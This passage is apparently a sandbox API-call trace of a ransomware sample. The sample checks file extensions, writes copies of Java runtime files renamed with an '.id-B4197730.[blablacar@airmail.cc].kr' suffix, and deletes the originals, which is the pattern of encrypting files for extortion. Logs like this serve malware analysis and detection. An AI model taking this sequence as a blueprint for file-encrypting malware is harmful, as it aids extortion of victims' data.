lstrlenW (lpString=".7z") returned 3 [0182.411] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.411] lstrlenW (lpString=".dbf") returned 4 [0182.411] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.411] lstrlenW (lpString=".1cd") returned 4 [0182.411] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.411] lstrlenW (lpString=".jpg") returned 4 [0182.411] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.411] lstrlenW (lpString=".doc") returned 4 [0182.411] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.411] lstrlenW (lpString=".docx") returned 5 [0182.411] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0182.411] lstrlenW (lpString=".pdf") returned 4 [0182.412] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.412] lstrlenW (lpString=".xls") returned 4 [0182.412] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.412] lstrlenW (lpString=".xlsx") returned 5 [0182.412] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0182.412] lstrlenW (lpString=".ppt") returned 4 [0182.412] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.412] lstrlenW (lpString=".zip") returned 4 [0182.412] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.412] lstrlenW (lpString=".rar") returned 4 [0182.412] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.412] lstrlenW (lpString=".bz2") returned 4 [0182.412] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.412] lstrlenW (lpString=".7z") returned 3 [0182.412] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.412] lstrlenW (lpString=".dbf") returned 4 [0182.412] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.412] lstrlenW (lpString=".1cd") returned 4 [0182.412] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.412] lstrlenW (lpString=".jpg") returned 4 [0182.412] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.412] lstrcmpiW (lpString1=".access", lpString2=".kr") returned -1 [0182.412] lstrlenW (lpString="jmxremote.access") returned 16 [0182.413] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.415] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3998) returned 1 [0182.415] CloseHandle (hObject=0x408) returned 1 [0182.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0182.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.416] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.416] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.416] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0182.418] GetLastError () returned 0x0 [0182.418] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0xf9e, lpOverlapped=0x0) returned 1 [0182.421] WriteFile (in: hFile=0x460, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0182.422] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.422] WriteFile (in: hFile=0x460, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xf4, lpOverlapped=0x0) returned 1 [0182.422] SetEndOfFile (hFile=0x460) returned 1 [0182.422] CloseHandle (hObject=0x460) returned 1 [0182.422] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.422] SetEndOfFile (hFile=0x408) returned 1 [0182.790] CloseHandle (hObject=0x408) returned 1 [0182.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.793] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1 [0182.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.793] lstrlenW (lpString=".doc") returned 4 [0182.793] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0182.793] lstrlenW (lpString=".docx") returned 5 [0182.793] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0182.793] lstrlenW (lpString=".pdf") returned 4 [0182.794] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0182.794] lstrlenW (lpString=".xls") returned 4 [0182.794] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0182.794] lstrlenW (lpString=".xlsx") returned 5 [0182.794] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0182.794] lstrlenW (lpString=".ppt") returned 4 [0182.794] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0182.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.794] lstrlenW (lpString=".zip") returned 4 [0182.794] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0182.794] lstrlenW (lpString=".rar") returned 4 [0182.794] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0182.794] lstrlenW (lpString=".bz2") returned 4 [0182.794] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0182.794] lstrlenW (lpString=".7z") returned 3 [0182.794] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0182.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.794] lstrlenW (lpString=".dbf") returned 4 [0182.794] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0182.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.794] lstrlenW (lpString=".1cd") returned 4 [0182.794] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0182.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.794] lstrlenW (lpString=".jpg") returned 4 [0182.794] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0182.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.794] lstrlenW (lpString=".doc") returned 4 [0182.794] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0182.794] lstrlenW (lpString=".docx") returned 5 [0182.794] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0182.795] lstrlenW (lpString=".pdf") returned 4 [0182.795] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0182.795] lstrlenW (lpString=".xls") returned 4 [0182.795] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0182.795] lstrlenW (lpString=".xlsx") returned 5 [0182.795] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0182.795] lstrlenW (lpString=".ppt") returned 4 [0182.795] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0182.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.795] lstrlenW (lpString=".zip") returned 4 [0182.795] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0182.795] lstrlenW (lpString=".rar") returned 4 [0182.795] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0182.795] lstrlenW (lpString=".bz2") returned 4 [0182.795] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0182.795] lstrlenW (lpString=".7z") returned 3 [0182.795] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0182.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.795] lstrlenW (lpString=".dbf") returned 4 [0182.795] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0182.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.795] lstrlenW (lpString=".1cd") returned 4 [0182.795] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0182.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0182.795] lstrlenW (lpString=".jpg") returned 4 [0182.795] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0182.795] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0182.795] lstrlenW (lpString="net.properties") returned 14 [0182.796] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.796] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4464) returned 1 [0182.796] CloseHandle (hObject=0x408) returned 1 [0182.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0182.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.797] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.797] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.797] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.797] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.798] GetLastError () returned 0x0 [0182.798] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x1170, lpOverlapped=0x0) returned 1 [0182.799] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x1180, lpOverlapped=0x0) returned 1 [0182.800] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.800] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xf0, lpOverlapped=0x0) returned 1 [0182.801] SetEndOfFile (hFile=0x3e0) returned 1 [0182.801] CloseHandle (hObject=0x3e0) returned 1 [0182.801] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.801] SetEndOfFile (hFile=0x408) returned 1 [0182.803] CloseHandle (hObject=0x408) returned 1 [0182.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.804] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1 [0182.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.804] lstrlenW (lpString=".doc") returned 4 [0182.804] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0182.804] lstrlenW (lpString=".docx") returned 5 [0182.804] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0182.805] lstrlenW (lpString=".pdf") returned 4 [0182.805] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0182.805] lstrlenW (lpString=".xls") returned 4 [0182.805] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0182.805] lstrlenW (lpString=".xlsx") returned 5 [0182.805] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0182.805] lstrlenW (lpString=".ppt") returned 4 [0182.805] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0182.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.805] lstrlenW (lpString=".zip") returned 4 [0182.805] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0182.805] lstrlenW (lpString=".rar") returned 4 [0182.805] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0182.805] lstrlenW (lpString=".bz2") returned 4 [0182.805] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0182.805] lstrlenW (lpString=".7z") returned 3 [0182.805] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0182.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.805] lstrlenW (lpString=".dbf") returned 4 [0182.805] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0182.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.805] lstrlenW (lpString=".1cd") returned 4 [0182.805] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0182.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.805] lstrlenW (lpString=".jpg") returned 4 [0182.805] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0182.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.805] lstrlenW (lpString=".doc") returned 4 [0182.805] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0182.805] lstrlenW (lpString=".docx") returned 5 [0182.806] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0182.806] lstrlenW (lpString=".pdf") returned 4 [0182.806] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0182.806] lstrlenW (lpString=".xls") returned 4 [0182.806] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0182.806] lstrlenW (lpString=".xlsx") returned 5 [0182.806] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0182.806] lstrlenW (lpString=".ppt") returned 4 [0182.806] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0182.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.806] lstrlenW (lpString=".zip") returned 4 [0182.806] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0182.806] lstrlenW (lpString=".rar") returned 4 [0182.806] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0182.806] lstrlenW (lpString=".bz2") returned 4 [0182.806] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0182.806] lstrlenW (lpString=".7z") returned 3 [0182.806] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0182.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.806] lstrlenW (lpString=".dbf") returned 4 [0182.806] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0182.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.806] lstrlenW (lpString=".1cd") returned 4 [0182.806] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0182.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0182.806] lstrlenW (lpString=".jpg") returned 4 [0182.806] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0182.806] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0182.806] lstrlenW (lpString="plugin.jar") returned 10 [0182.807] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.807] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1923211) returned 1 [0182.807] CloseHandle (hObject=0x408) returned 1 [0182.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0182.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0182.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.808] lstrlenW (lpString=".doc") returned 4 [0182.808] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.808] lstrlenW (lpString=".docx") returned 5 [0182.808] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0182.808] lstrlenW (lpString=".pdf") returned 4 [0182.808] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.808] lstrlenW (lpString=".xls") returned 4 [0182.808] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.808] lstrlenW (lpString=".xlsx") returned 5 [0182.808] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0182.808] lstrlenW (lpString=".ppt") returned 4 [0182.808] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.808] lstrlenW (lpString=".zip") returned 4 [0182.808] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.808] lstrlenW (lpString=".rar") returned 4 [0182.808] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.808] lstrlenW (lpString=".bz2") returned 4 [0182.808] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.808] lstrlenW (lpString=".7z") returned 3 [0182.808] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.808] lstrlenW (lpString=".dbf") returned 4 [0182.808] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.808] lstrlenW (lpString=".1cd") returned 4 [0182.808] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.808] lstrlenW (lpString=".jpg") returned 4 [0182.808] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.809] lstrlenW (lpString=".doc") returned 4 [0182.809] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.809] lstrlenW (lpString=".docx") returned 5 [0182.809] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0182.809] lstrlenW (lpString=".pdf") returned 4 [0182.809] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.809] lstrlenW (lpString=".xls") returned 4 [0182.809] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.809] lstrlenW (lpString=".xlsx") returned 5 [0182.809] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0182.809] lstrlenW (lpString=".ppt") returned 4 [0182.809] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.809] lstrlenW (lpString=".zip") returned 4 [0182.809] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.809] lstrlenW (lpString=".rar") returned 4 [0182.809] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.809] lstrlenW (lpString=".bz2") returned 4 [0182.809] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.809] lstrlenW (lpString=".7z") returned 3 [0182.809] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.809] lstrlenW (lpString=".dbf") returned 4 [0182.809] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.809] lstrlenW (lpString=".1cd") returned 4 [0182.809] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0182.809] lstrlenW (lpString=".jpg") returned 4 [0182.809] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.810] lstrcmpiW (lpString1=".ja", lpString2=".kr") returned -1 [0182.810] lstrlenW (lpString="psfont.properties.ja") returned 20 [0182.810] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.811] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2796) returned 1 [0182.811] CloseHandle (hObject=0x408) returned 1 [0182.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0182.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.811] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.811] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, 